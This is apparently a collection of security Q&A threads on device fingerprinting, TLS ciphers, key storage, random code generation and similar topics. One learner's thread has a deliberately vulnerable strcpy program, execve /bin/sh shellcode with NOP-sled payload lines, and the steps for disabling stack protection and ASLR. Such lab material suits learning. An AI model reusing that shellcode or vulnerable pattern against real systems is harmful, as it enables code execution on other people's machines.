Device Identification for 2FA challenge Most sites that take security seriously, try to identify the moment when you use a new (or "unfamiliar") device to sign in to your online account. Example, when you sign in from a different computer to mail.google.com they'll ask you for 2FA or at the very least send you a mail stating that they detected you signed in from a new location (with a method to block access).

My thoughts are to either store a random hash (or heck even a JWT token) in a cookie. Though, this poses the problem that if the user clears their cookies they'll get asked for 2FA. This in itself isn't an issue, but I'd like to avoid that if I can.

That brings me to perhaps using an ever-cookie (something like https://github.com/samyk/evercookie). However, that might be frowned upon as me trying to track them for dark purposes).

I can't ascertain what the acceptable behavior here should be.

Opinion?

The acceptable behaviour in my opinion is simply to inform the end user of why? & what? is being done by your system, so atleast they can evaluate
if they would like to use it, and maybe give them the chance to disable it.

All this can also be done without cookies, you could catch the devices "fingerprint" when login is performed and check if that "fingerprint" is allowed or not : new device fingerprint (notify owner)

Since you mention JS here is a Device Fingerprinting Lib : ClientJS


Are file permissions set in Unix/Linux effective in Windows or Any other OS? Consider some files and folder in Unix/Linux OS which are configured for only read access by root, if the hard drive stolen, and used in Windows Environment, are these permissions are still effective?

Same scenario: setting file and folder permissions in Windows (especially when using Domain Controller) are these permissions are effective when accessing these files using other Operating System?

From Security View Point: Without encryption: is there any other way to secure files and folders in cross OS with effective file access permissions?

if the hard drive stolen and cross OS are two different condition!

If stolen, mounted in another host, all permissions are compromised, everybody could be root in his host and mount hard-drive (maybe externaly by USB - Sata changer) with all needed rights. For this condition, (strong) encryption are the only way.
About cross OS, if drive stay mounted in a Un*x like OS and serve his files through a sharing server, like samba, ftpd , netatalk or else, permission are used by the server himself and could be respected by all clients. There is no need of local encryption if server access is correctly securised.

About domain controller, samba do wrap window's user rights to un*x filesystem's ACL, so all work fine localy and remotely.

Without any considerations about security failures.


Security differences between Passive and Active RFID tags Most people are aware there are two types of RFID tags, active tags (ones that contain a power source of some kind) and passive tags (ones that are powered by the RF field).

I'd like to know if choosing one type or the other provides a security advantage? Does the ability to power passive tags only via RF field mean that it is harder to implement secure designs? Are there any other security concerns I should consider when choosing RFID systems?

Network bandwidth is a scarce resource in RFID protocols.

Active tags have a double edge sword when it comes to security.  For one they are able to support more bandwidth and therefore larger key sizes.  The "problem" is that active tags also have a longer range,  and there for an attacker further away is able to obtain a challenge response. Passive tags have a shorter range,  and are limited in the cryptographic algorithms they are able to use...

So what is your implantation?  Ideally you would have a faraday cage to protect your active tags when they are not in use.


Which HTTP Compression should I use (and how?) I know that there are multiple HTTP Compression tools out there.

In order to entirely prevent a site from being susceptible to BREACH, which HTTP Compression algorithm should I use?

Also, how should I go about making sure the server uses it?

(Conversation about Brotli noted but doen't really answer the question: Brotli compression for HTTPS)

BREACH is an issue with how compressed data is used, not what compression algorithm is in use. If you are sending sensitive data (CSRF tokens, for example) or using dynamic content, then HTTP compression may make it possible to reveal the secrets. For static or non-sensitive content, any compression technique is fine. In order to support most browsers, you should use DEFLATE or gzip.


Pgp Private key storage on windows server advice Looking for a bit of advice really, here's the situation:

I currently have a security minded client who will be sending PGP
encrypted files.
I have to decrypt the files on my server before processing them.  To
achieve this I was thinking of using BouncyCastle with C#.

Ok, so far so good... but...
I was wondering what the best method of storing my private key on my server would be?

I know that the thought of simply storing my private key in a file (even though it'll have a pass-phrase) in a restricted folder will be enough to make my client's left arm go numb!
The simplest option I can think of would be to use BouncyCastle's keystore, however I'm not sure which the most secure option: Keystore.BouncyCastle, Keystore.UBER or The PKCS12 compatible keystore.  Either way I'd have to justify the decision (it's still just a file in a folder :( !!), does anyone know of some relevant reading?
I'm not sure if it would be possible to use Windows CNG to store the keys instead of BouncyCastle's keystore?
Is there another, better option?

Ooo, just a little note: I'm not 100% attached to BouncyCastle if there's a better option out there I'd be more than happy to use that (esp. if it doesn't involve handing over fist-fulls of cash & I can automate it)

Generally speaking, it all depends on what you need to protect against and in what context: you need to explain first what you want to protect against and then design a sensible strategy for this: protecting against remote access is not the same as protecting against someone having access to the hardware. The running environment is important as well: you can't use a HSC the same way on a dedicated server located in your server room and on a VM rented from a public cloud.

Now, to be more specific: in case of server application, encryption is usually done in a way that will make it hard form someone who gained read addess to the data and source code of the application. This suppose that the operating system itself remains (more or less) secure and that the intruder doesn't get access to your running process (otherwise, he might as well just read the cleartext from memory).

For that, Windows offers a convenient way to protect data through the CryptProtectData and CryptUnprotectData APIs. These functions will allow you encrypt an arbitrary block of data using a key that is tied either to the logged on user account or to the local machine (you can add and additional key if you desire so although you will need to be able to store that externally somehow: it's of limited use if you have no secure storage available).

Doing the above is very easy and straightforward: that is basically how most of Windows stores secret data. Unfortunately, it has one major limitations: is of no use against any code that can run in the same context as your program. This means that it will be of no use in case of access to the physical machine or in case of any type of code injection flaw. Nevertheless, if you keep that in mind and if you deem that limitation acceptable, you can use these API to store the passphrases for your private keys.


Which SSL/TLS ciphers can be considered secure? The OpenSSL website provides a long list of different ciphers available for SSL and TLS.
My question is, which of those ciphers can be considered secure nowadays. I am especially interested in HTTPS, if this should matter, although I guess it doesn't. I am aware of the Apache Recommendation to use SSLCipherSuite HIGH:MEDIUM and agree that this is best practice.

What I am looking for is an official standard or a recent paper from an accepted and recognized source like a well know security organization. If such a paper exists including estimates on how long certain ciphers with specific key length will be considered secure, this would be even better. Does such a thing exist?

The cipher suites with a "NULL" do not offer data encryption, only integrity check. This means "not secure" for most usages.

The cipher suites with "EXPORT" are, by design, weak. They are encrypted, but only with keys small enough to be cracked with even amateur hardware (say, a basic home PC -- symmetric encryption relying on 40-bit keys). These suites were defined to comply with the US export rules on cryptographic systems, rules which were quite strict before 2000. Nowadays, these restrictions have been lifted and there is little point in supporting the "EXPORT" cipher suites.

The cipher suites with "DES" (not "3DES") rely for symmetric encryption on DES, an old block cipher which uses a 56-bit key (technically, it uses a 64-bit key, but it ignores 8 of those bits, so the effective key size is 56 bits). A 56-bit key is crackable, albeit not in five minutes with a PC. Deep crack was a special-purpose machine built in 1998 for about 250,000 $, and could crack a 56-bit DES key within 4.5 days on average. Technology has progressed, and this can be reproduced with a few dozens FPGA. Still not off-the-shelf-at-Walmart hardware, but affordable by many individuals.

All other cipher suites supported by OpenSSL are non-weak; if you have a problem with them, it will not be due to a cryptographic weakness in the algorithms themselves. You may want to avoid cipher suites which feature "MD5", not because of an actual known weakness, but for public relations. MD5, as a hash function, is "broken" because we can efficiently find many collisions for that function. This is not a problem for MD5 as it is used in SSL; yet, that's enough for MD5 to have a bad reputation, and you are better avoiding it.

Note that the cipher suite does not enforce anything on the size of the server key (the public key in the server certificate), which must be large enough to provide adequate robustness (for RSA or DSS, go for 1024 bits at least, 1536 bits being better -- but do not push it too much, because computational overhead raises sharply with key size).

NIST, a US federal organization which is as accepted and well-known as any security organization can possibly be, has published some recommendations (see especially the tables on pages 22 and 23); this is from 2005 but still valid today. Note that NIST operates on an "approved / not approved" basis: they do not claim in any way that algorithms which are "not approved" are weak in any way; only that they, as an organization, do not vouch for them.


Buffer Overflow Basic I am currently working on a buffer overflow using my own program to learn the very basics. I have already successfully executed functions already present in the code by overwrite RIP/EIP, but right now, the goal right now is to gain a shell.

To do so, I made this little exploitable piece of code:

#include <stdio.h>  /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */

int main(int argc, char **argv)
{
  char  buffer[300];

  if (argc < 2)
    return EXIT_FAILURE;
  strcpy(&buffer[0], argv[1]);
  printf("Input: '%s'\n", &buffer[0]);
  return EXIT_SUCCESS;
}

Compilation is done with the following line: gcc bof.c -o bof -fno-stack-protector

The program happens to exit normally until 312 bytes are sent in.

Why does it start crashing at 312 bytes and not 301 bytes ?
Are the 12 bytes the size of the stack ?
Does this number actually matter in a case of an attack ?

Then I have been trying a few things such as using a shellcode, however with no success.

gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote

To note: the shellcode is actually a x64 bin/sh execve.

I have been stuck on this one for days right now and don't know how to solve it, I'd be thankful if someone could help me on this matter.

Edit:

Now I understood it a little better thanks to @DKNUCKLES & @Miles Budnek, I have been able to conduct more tests and have made some advancements. However, after successfully overwriting EIP with the buffer address, the crash appeared to be within the shellcode itself.

The vulnerable test binary above was compiled with the following flags: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32. To that, I made sure to disable ASLR with the following command: echo "0" > /proc/sys/kernel/randomize_va_space.

Here, it slides correctly through the NOP instructions until the shellcode, and a few bytes after the begining of the shell code, it crashes: https://pastebin.com/rfT8HK5Q
Here, For some reason I had the idea of moving NOP bytes from before the shell code to the end and it successfully worked: https://pastebin.com/PvBDFEU6
Here, same as above, but without GDB, doesn't open a shell:
$ ./vuln $(python -c 'print "\x90" * 66 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 30 + "\x84\xcc\xff\xff" + "\x90" * 180')
Input: '������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
                                                                                ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������'
Segmentation fault (core dumped)
$

(I also tried adding a cat | before the call to the vulnerable program, but with not success).

DKNUCKLES' answer covers the reason why your injection doesn't work, so this answer is more about how the program's stack gets laid out and why you need to input 312 bytes before you see a crash.

If you look at the assembly generated from your program, you can figure out that the stack looks like this at the point strcpy is called:

               +--------------+
      rbp + 15 |return address| 8B
       rbp + 8 |              |
               +--------------+
       rbp + 7 |    old rbp   | 8B
           rbp |              |
               +--------------+
       rbp - 1 |  alignment   | 3B
       rbp - 3 |  padding     |
               +--------------+
       rbp - 4 |              |
               |              |
               |    buffer    | 300B
               |              |
               |              |
               +-- -- -- -- --+
     rbp - 304 |  buffer[0]   |
               +--------------+
     rbp - 305 |   argc       | 4B
     rbp - 308 |              |
               +--------------+
     rbp - 309 |  alignment   | 4B
     rbp - 312 |  padding     |
               +--------------+
     rbp - 313 |   argv       | 8B
rsp, rbp - 320 |              |
               +--------------+

From that, you can see that there are 11 bytes between the end of buffer and the return address: some padding and the old stack base pointer.  That explains why nothing happens until your input reaches 312 bytes.  The padding is never read from, and nothing above main uses the stack, so it doesn't matter that you've corrupted it.  If you write 312 bytes you end up corrupting the return address though, and that causes the program to crash.

You're also not actually injecting your exec code; you're just passing it and a literal '+' character as separate arguments.  That explains why you need to input 312 or more 'A's to cause an error.


Unsolicited Password Request from Facebook Today I have received 3 emails to my three different addresses, one with Google, one with MSN, and one with my company. All emails were sent from password+kjdmiikvhppi at facebookmail.com email address. Content are same, as if I had requested a password change. I have never requested for such a thing, and more strangely, I haven't even logged onto Facebook today. I am confused about what should be done next.

Source of one of such messages with PII removed:

Delivered-To: xxxxxxxxxx@xxxx.com
Received: by 10.112.127.193 with SMTP id ni1csp8990lbb;
        Wed, 15 May 2013 04:01:05 -0700 (PDT)
X-Received: by 10.49.35.132 with SMTP id h4mr32118109qej.29.1368615664824;
        Wed, 15 May 2013 04:01:04 -0700 (PDT)
Return-Path: <password+kjdmiikvhppi@facebookmail.com>
Received: from mx-out.facebook.com (outmail010.ash2.facebook.com. [66.220.155.144])
        by mx.google.com with ESMTP id k3si579007qch.125.2013.05.15.04.01.04
        for <xxxx@xxxxx.com>;
        Wed, 15 May 2013 04:01:04 -0700 (PDT)
Received-SPF: pass (google.com: domain of password+kjdmiikvhppi@facebookmail.com designates 66.220.155.144 as permitted sender) client-ip=66.220.155.144;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of password+kjdmiikvhppi@facebookmail.com designates 66.220.155.144 as permitted sender) smtp.mail=password+kjdmiikvhppi@facebookmail.com;
       dkim=pass header.i=@facebookmail.com;
       dmarc=pass (p=REJECT dis=none) d=facebookmail.com
Return-Path: <password+kjdmiikvhppi@facebookmail.com>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=facebookmail.com;
    s=s1024-2011-q2; t=1368615663;
    bh=VxEamRxXZ6SfTLvhRMIa5Ql8ijPP2ciAPaWmEiPqZkE=;
    h=Date:To:From:Subject:MIME-Version:Content-Type;
    b=nP3TizJu9pZ3rvqTrtWU5t3pzCKSjlApuBjoloWjH/aBI/9GAqAkhARhdNhtKOhLU
     G3wm9ECZn+RwqEYh3v8PmQbhEoLnKDOMbm7LCh8o0yFrRu4uPWHzb+TBfnJUvG/SAM
     Pb/CfjAA5fqFbEuZxvBRDXOoTLYJ/H9i6uJPY3Yg=
Received: from [10.198.241.35] ([10.198.241.35:65219])
    by smout014.ash4.facebook.com (envelope-from <password+kjdmiikvhppi@facebookmail.com>)
    (ecelerity 3.6.0.37104 r(/root/Platform:develop)) with ECSTREAM
    id 6A/27-01069-FEA63915; Wed, 15 May 2013 04:01:03 -0700
X-Facebook: from zuckmail ([MTI3LjAuMC4x])
    by www.facebook.com with HTTP (ZuckMail);
Date: Wed, 15 May 2013 04:01:03 -0700
To: xxxxxx@xxxxx.com
From: "Facebook" <password+kjdmiikvhppi@facebookmail.com>
Reply-to: Facebook <password+kjdmiikvhppi@facebookmail.com>
Subject: You requested a new Facebook password
Message-ID: <ca2180dd82544c68dd6601660d9cc9a9@www.facebook.com>
X-Priority: 3
X-Mailer: ZuckMail [version 1.00]
Errors-To: password+kjdmiikvhppi@facebookmail.com
X-Facebook-Notify: password_reset; mailid=
X-FACEBOOK-PRIORITY: 1
X-Auto-Response-Suppress: All
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="b1_ca2180dd82544c68dd6601660d9cc9a9"

--b1_ca2180dd82544c68dd6601660d9cc9a9
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

Hi xxxxxxxx,

You recently asked to reset your Facebook password. Go here to change your =
password:=C2=A0https://www.facebook.com/recover/code?u=xxxxxxx&n=
=xxxxx

Alternatively, you can enter the following password reset code:

xxxxx

Didn't request a new password? Let us know here:=C2=A0https://www.facebook=
.com/login/recover/disavow_reset_email.php?n=xxxxxxx&id=xxxxxxx

Thanks,
The Facebook Team

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
This message was sent to xxx@msn.com at your request.
Facebook, Inc., Attention: Department 415, PO Box 10005, Palo Alto, CA =
94303

Edit
I hope it is harmless and I will be able to take @adnan's and @graham's answers as final.

Relax, no need to worry. The email address password+kjdmiikvhppi@facebookmail.com does seem to be authentic. It could be spoofed, but if it were spoofed it would be very likely moved automatically to the Junk or Spam folder. Of course, it is possible that the email is spoofed and it wasn't caught in the spam filter, but I personally think it's not very likely.
So, there are two explanations for this, one is the official Facebook explanation:

it's likely that someone accidentally entered your email address or
username when attempting to log in to their account. This often
happens if you have a popular username or email address. As long as
you don't click the link contained in the email, no action will be
taken and your account will remain secure.

The other possibility is that someone is trying to hijack your Facebook account. Again, no need to worry, just follow these steps:

Ignore the email. Now that I see that the links are authentic, I think it's a good idea to click on the link next to "Didn't request a new password? Let us know here" , this way you'll be able to report this to Facebook.

Follow Facebook's security guidelines.

Make sure you have a strong password for your email account (it's also not a bad idea to change it)

Update: Now that you posted the message source, I can be even more confident that it is indeed an authentic email from Facebook and my answer is correct. The headers seem to be legitimate and the links all lead to the real Facebook website.


Passing user ID as parameter without any authentication, what are the security risks? I've read that passing GUID as URL parameter isn't considered insecure because usually, an app has an authentication mechanism (checking against some session token).

However, how secure would an application be if the user's page can be accessed just by the GUID in the URL and there's no login / authentication at all? This GUID is quite long (about 16 characters) and the user base at a time would just be about 10,000. It's also a time-based access (e.g. users can only access this special user page for the duration of X hours).

what are the security risks?

The security risk is that there is no security at all to begin with.There is a reason why authentication exists.

Now lets assume that GUID is sufficiently long enough such that brute force is out of the question.But it still gets logged in so many places.

But the real threat is more from powerful crawlers that search engines have.A simple google search might leak the credentials of all the users.Plus without authorization or authentication how would you separate user space from one another.Its like an open website where anyone can be anyone without proving who they are.


Does glibc use canary checking to prevent heap buffer overflow? Since canary is used by gcc to prevent stack overflow (e.g. -fstack-protector), I am wondering whether glibc uses canary-based approach to defend heap buffer overflow? For example, this paper proposes canary-based detection against heap buffer overflow. And Windows systems already use heap cookies to mitigate heap buffer overflows.

Any reference related to glibc will be highly appreciated. Thank you!

Glibc has some inherent capabilities at detecting overruns, and they can be activated with the environment variable MALLOC_CHECK_. See mcheck and mallopt for details.

Trying it out on a 64-bit Ubuntu 14.04 system, it seems that when allocating many memory blocks, malloc() rounds up the requested size to the next multiple of 8, and uses 8 extra bytes. E.g., if you allocated 1000000 blocks of 50 bytes, the process actually requests 64000000 bytes from the kernel, not 50000000. This leaves room for a "separator canary" of 8 bytes between any two allocated blocks.

These features seem meant to detect implementation bugs, not malicious exploitation. It is unclear whether they would be really good at actually detecting buffer overruns, and do so early enough; indeed, by definition, heap consistency checks of that kind can be enforced only when the heap allocation routines are invoked. This means that if you had a buffer overflow, you may get some notice only when the relevant block, or the next one in RAM, gets released: this happens after the overflow, possibly much after, hence too late. This contrasts with stack-based canaries, which are checked before returning (i.e. after the overflow, but before using the return address slot which may have been clobbered).

What such checks are more-or-less good at is detecting double-free issues. They cannot trap use-after-free cases, and, as explained above, when they detect an overflow it is probably too late.


SSH server: What's more secure, pub key auth or Google Authenticator time-based auth? I'm curious which would be more secure, pub key authentication or 2-factor auth via Google Authenticator. Apparently I can't use both. If I have pub key authentication, the Google Auth PAM module doesn't ask me for a verification code. But if someone tries to log in with a regular password, it does. So it seems it's either-or.

It depends, what are you more concerned about?  Someone being able to steal your private key, or someone stealing your TOTP seeds?  That'll determine which is more likely to be compromised.

Alternatively, if your version of SSHD is new enough, you can use the AuthenticationMethods option in sshd_config to require both, with something like publickey,keyboard-interactive:pam.  This will require both a functional pubkey and the full PAM stack.

An attacker who passively observes traffic should not be able to learn anything about TOTP traffic, as its encapsulated in the SSH connection, and the SSH public key is computationally infeasible to factor for modern key lengths (ECDSA, or RSA >= 2048).


What is a buffer overflow? I'm learning C in a tutorial and have reached the point where the term "buffer" s being mentioned regularly.

It has also mentioned how certain bad programming practises involving memory can be "vulnerable to buffer overflow". It defines the buffer as:

  A small amount of memory reserved for the input source

and though I've heard about buffer overflow attacks in relation to malware I have never understood what is or how it actually works, particularly from a programming perspective.

Ideally, could this be explained in "lay mans" terms as I have very little computer theory knowledge.

A buffer is a pre-allocated area of memory where you store your data while you're processing it. Basically it's just saying that from a certain address in memory until memory address + x Bytes is reserved to allocate data. In C this is often called an array.

A buffer overflow happens when you assign more data than can fit into the buffer and overwriting the code beyond memory address + x. You might have done this before and you will notice that your program crashes. Now the problem is that somewhere beyond your buffer is the return address (this is pointing to the next instruction that will be executed after assigning the buffer and loading the data into it) and if you overwrite it with random data your program will crash. However if you manage to load byte code (this is a compiled program which the CPU can directly execute) and you can actually make it point to your program, then you can execute code on that machine.

Now you might think that this is not really an issue if you are running it locally, but imagine programs like SSH or FTP servers which run on the internet or imagine a restricted environment where certain programs run with elevated privileges. If you were able to execute code within the context and privileges of the other program, you could be able to break out of your restrictions or take over a remote server.

If you want to know more about assembly, bufferoverflows and shellcode, I suggest buying the Shellcoder's Handbook. It's THE book to learn this stuff.


Is it possilbe to use an OpenPGP private key to sign a file via OpenSSL? Is it possible to use an exported OpenPGP private key to sign a file via OpenSSL?

I've tried this:

$ gpg2 --export-secret-keys --no-armor 84E2C2E5 > secret.key
$ openssl rsautl -sign -in testfile -inkey secret.key -out test.sign

But that gives me this error:

  unable to load Private Key 140543167485592:error:0906D06C:PEM
  routines:PEM_read_bio:no start line:pem_lib.c:701:Expecting: ANY
  PRIVATE KEY

What am I doing wrong?

While OpenPGP and X.509 mostly share the same cryptographic algorithms, they have completely different representations of the key material. GnuPG (or to be more specific, gpg; gpgsm implements S/MIME and X.509 but not OpenPGP and is also part of GnuPG) does not "speak" X.509, OpenSSL does not support OpenPGP.

While you could well extract the numbers forming the keys and then construct a new key of the other format, these would still seem like different keys: due to the different protocols you cannot read messages encrypted in the other system, you cannot verify signatures issued by this. Even the keys are not obviously comparable, key identifiers are constructed differently, and finally the two systems share different trust systems.

To wrap up: theoretically you could construct a new key (not really convert it, as meta information is lost and other information is missing). There is no actual use in doing so, thus nobody cared about writing proper tooling for the process.


Decline right password on first time I was thinking about password security and thought about a possible way to slow down brute force attacks.

The imaginary login process should simply decline passwords one or two times, even when they are right. While this is bad UX and has to be explained to the user, it weakens the chance to make easy passwords guessed by dictionary attacks etc. at least by the factor 2 or 3.

Are there any more downsides, beside the mentioned bad UX?

Addition:

What do you think about positive impacts regarding

Phishing
Social Engineering

Stolen passwords wouldn't work on first try. Depending on attackers knowledge about the system, even successful stolen passwords could get marked as "not working".

To save UX, it could just pop on unknown devices.

Downsides: security through obscurity?

Luckily, I don't plan to implement this as a "feature", it's more about theoretically thoughts.

Bad UX kills security. Most users will look for work-arounds - and you'll be fighting your users instead of helping them / working with them.

I suggest you try this age-old technique instead. I saw this first in Open-Radius authentication and immediately liked it.

Use a time-constant, delayed response. i.e., even if you complete the verification in the back-end quickly, wait for a random time that adds up to 1s or thereabouts before responding to the user. It has multiple advantages. One of them is to discourage bruteforcing by reducing the attack speeds.

It does have a small cost though. If you have a high-traffic system then at peak times you may have too many open connections. That's not a big problem as long as you configure your software to compensate.


A person knows my IP address: how to save my data and address? I was chatting to a guy on a site, and the chat went wrong when I wrote a few wrong words by mistake. He then threatened that he will send my every detail to the vigilant team and soon my address will be known. He then showed me my IP address, the Windows version I am using, the browser, and other stuff.

What should I do now to save myself?

Don't worry about it, those are things that any website you visit can obtain.  The OS and browser info might help them develop a more targeted attack, but as long as your home firewall is secured these are likely empty threats.

They could target a botnet at you to DDoS your connection, but many ISPs will notice this traffic and might block as much as possible (flood detection) or might assign you a different IP address anyway.

If you're paranoid, try powering your modem off for about half an hour.  You will usually get a new IP address assigned to you from your ISP.


Is the data between a keyboard and a web browser secure from local computer applications? My question is about the text that I type on a keyboard while in a web browser. I understand that if the website has HTTPS the connection from my browser to the website is secure/encrypted, but what about the text that I type on the keyboard on the local computer?

For example, at an internet cafe, if you open a Chrome window and go to a secure site (HTTPS) is the text that you type on the keyboard secure from the keyboard to the browser? Can key logging software on the local computer access the text?

My concern is logging into my email account (or any other private account) on a public computer, can the password that I type be intercepted? If so, is there any way for a user of a public computer to ensure the privacy of their password in this scenario?

No, your data is not safe from key loggers on a local computer. There isn't much more to say here, to be fair. A key logger will grab and save any key stroke entered. The tls (https) encryption happens "after" the driver from keyboard "sends" those key strokes to the browser, "through" the key logger.

Even if encryption is being used and there isn't one many types of spyware on the computer, the connection between the computer and site might have a Man in The Middle (MiTM) device in between which tricks your computer into thinking it's using encryption when it's not.

Good question. Yes, on a public kiosk you run the risk of credential harvesting. I can not think of anything that would bypass keylogging software (VPN will fix MiTM issues). Beware.


Generating a TRULY random string in PHP I need to generate thousands (possibly millions) of unique codes for a client. These codes may have a monetary value, so it's vital that they are TRULY random, and that no pattern could be spotted and exploited by a clever hacker.

I've looked at various solutions for generating the code (cyclically generated = could be guessed, too risky, uniqid() = good, but I may need a code of a different length).

Right now I'm thinking of generating the code using A-Z and 0-9 MINUS VOWELS (in order to ensure no rude words could be accidentally generated) although this may be increased in the future to lowercase characters, etc.

So far I have this (using a custom rand function taken from here):

function generateCode($length = 12) {
    $chars = 'BCDFGHJKLMNPQRSTVWXYZ0123456789';
    $count = mb_strlen($chars);

    for ($i = 0, $result = ''; $i < $length; $i++) {
        $randomIndex = devurandom_rand(0, $count - 1);
        $result .= mb_substr($chars, $randomIndex, 1);
    }

    return $result;
}

// CUSTOM RAND FUNCTION
// equiv to rand, mt_rand
// returns int in *closed* interval [$min,$max]
function devurandom_rand($min = 0, $max = 0x7FFFFFFF) {
    $diff = $max - $min;
    if ($diff < 0 || $diff > 0x7FFFFFFF) {
    throw new RuntimeException("Bad range");
    }
    $bytes = mcrypt_create_iv(4, MCRYPT_DEV_URANDOM);
    if ($bytes === false || strlen($bytes) != 4) {
        throw new RuntimeException("Unable to get 4 bytes");
    }
    $ary = unpack("Nint", $bytes);
    $val = $ary['int'] & 0x7FFFFFFF;   // 32-bit safe
    $fp = (float) $val / 2147483647.0; // convert to [0,1]
    return round($fp * $diff) + $min;
}

It's pretty basic, so I'm obviously concerned that it's not random enough. Can anyone tell me if this a decent way to ensure that the generated code is truly random?

(Note: Obviously a wannabe hacker will always be able to attempt a brute force attack. Such attempts will be handled elsewhere, I just want to make sure this code is truly random.)

/dev/urandom isn't truly random, but once it has been properly seeded it's good enough for security critical use. For true randomness, you need /dev/random, but I'd stay with urandom.

Your implementation produces slightly biased output for two reasons:

The number characters (31) doesn't evenly divide 2^31. This bias is small enough to have a negligible effect on security. It's possible to fix this, but I wouldn't bother.
The rounding technique is flawed. The first and last character are only half as likely as the rest.

I'd change the following:

$diff = $max - $min + 1;

...

$fp = (float) $val / 2147483648.0;// 0x80000000, choosing this value ensures that $fp is truly smaller than 1, and not equal
return floor($fp * $diff) + $min;// now all values 0 <= x <= diff are almost equally likely

With 12 characters the total entropy is around 60 bits. With one million codes guessing even one of them should take around 2^40, or a thousand billion attempts. This is infeasible for online attacks, where the attacker needs to send one request to your server, but cheap with offline attacks. It looks like offline attacks don't apply to your system, so the codes seem large enough.

Assuming your php code has no subtle flaws this should be fine. I'm no php programmer, so I might have missed something.

In PHP 7 you can use random_int which is secure and easy to use.

$randomIndex = random_int(0, $count - 1);

In earlier versions you could use the random_compat
 library.


Local Admin has Domain Admin rights While installing a new XP machine that had not been connected to the domain I was browsing to a UNC path and was not prompted for authentication. I then went to the different mapped drives and found that I had full access to all files and folders on the network.

I was logged into the machine as a local administrator account that had the same name as a domain administrator. Could that have been the reason that I had unrestricted access using the local account on a machine that was not joined to the domain? If so what steps should I take to secure this.

In addition to this we have recently experienced the cryptolocker malware and it was able to encrypt files that the host user had no access too, so I suspect that the vulnerability mentioned above is related.

If the local user has the same password as the domain account by the same name, yes you will automatically be recognized on the remote servers as the same user, and thus have the elevated privileges.

This is known as "pass through authentication". The reason this works is because the security token is issued based on knowledge of the account's username and password - the domain is not regarded in this context (but obviously it is used as the authenticating source).
Still secure, though, since you obviously know the password...


Securing Delphi application SSL traffic from decryption I wrote a VCL app using Delphi10.2. It has a simple activation setup, encrypted key is stored in Kinvey backend. The key to decrypt the encrypted key is hidden in the source code.

Now in order to establish the HTTPS connection, the app needs Indy's ssl files libeay32.dll and ssleay32.dll. They are attached in the same folder with the exe.

My questions are: is it possible somehow to use the DLL files to extract the private key to decrypt the HTTPS traffic? If so, will the attacker be able to dectpyt the encrypted key?

The key to decrypt the encrypted key is hidden in the source code.

This is a problem because applications (or its DLL's) can be reverse engineered. Sometimes this is quite easy and other times it may take a lot more effort. Ultimately it can be done.

  Is it possible somehow to use the DLL files to extract the private key to decrypt the HTTPS traffic?

As you stated (or as I understood it), the key that is hidden in the code, is in the executable. As an attacker I would first load the executable in the a debugger and see what happens.

Once the (hidden) key is obtained in order to decrypt the private key, the traffic could be intercepted using Wireshark configured with the private key.

However, if Diffie Hellman key exchange is used, the attacker can not decrypt previously captured traffic, meaning traffic captured before the private key was obtained.


Password shown on screen after crash on Linux, any idea why? So, my computer crashed during the night and when I came to work in the morning I had the following screen on.

I did not type the password a single time after the crash.

It appears to be related to ecryptfs, but the password is my loginpassword.

So any idea which process could have written my password into the console?

In fact, it can be worst. I just take some check on Ubuntu Crash Reporting  and I found this.

  Bug reports about crashes which are automatically generated by the
  Apport system are now private by default. This avoids exposing
  potentially sensitive data like passwords to the public. Those bug
  reports are now inspected by a trusted Ubuntu developer before marking
  it public.

There is no indication which version(s) is/are affected. IMHO, to prevent password leak, you should either upgrade Apport or disabled it.

This issue is documented/highlight under Apport wiki

  Apport collects potentially sensitive data, such as core dumps, stack traces, and log files. They can contain passwords, credit card
  numbers, serial numbers, and other private material.

(update)
This issue need further scrutinize, because there are confusion of ecryptfs and login passphrase vs mount passphrase.


Antivirus settings: delete or quarantine the file? I understand that most antiviruses by default quarantine infected files. I have changed it to remove all infected files immediately. Would this cause more harm than good?

I choose for quarantine because of false positives: the AV software can incorrectly flag a file as maliciuous or unwanted.

If it's quarantined, you can retrieve if from the quarantine and usually tell the AV to ignore the file from then on.
You could not do that if the file has been deleted.


